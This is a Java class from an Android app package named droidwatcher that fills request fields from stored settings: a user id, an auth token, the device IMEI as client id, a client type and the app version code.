package com.droidwatcher.JsonEntity;

import android.content.SharedPreferences;
import android.content.pm.PackageManager;

import com.alibaba.fastjson.annotation.JSONField;
import com.droidwatcher.MyApplication;
import com.droidwatcher.SettingsManager;

/**
 * Created by Administrator on 2018/1/24.
 */

public class BaseRequestInfo{

    SettingsManager settingsManager = new SettingsManager(MyApplication.app);

    @JSONField(name = "uid")
    long uid ;

    @JSONField(name = "token")
    String token ;

    @JSONField(name = "client_type")
    int client_type ;

    @JSONField(name = "client_id")
    String client_id ;

    @JSONField(name = "version")
    int version ;

    public BaseRequestInfo() {
        init();
    }

    private void init() {
        SharedPreferences share = settingsManager.getSettings();
        client_id = settingsManager.imei();
        uid = share.getLong("uid",0);
        token = share.getString("token","");
        client_type = 2 ;
        try {
            version = MyApplication.app.getPackageManager().getPackageInfo(MyApplication.app.getPackageName(),0).versionCode;
        } catch (PackageManager.NameNotFoundException e) {
            e.printStackTrace();
        }
    }

}
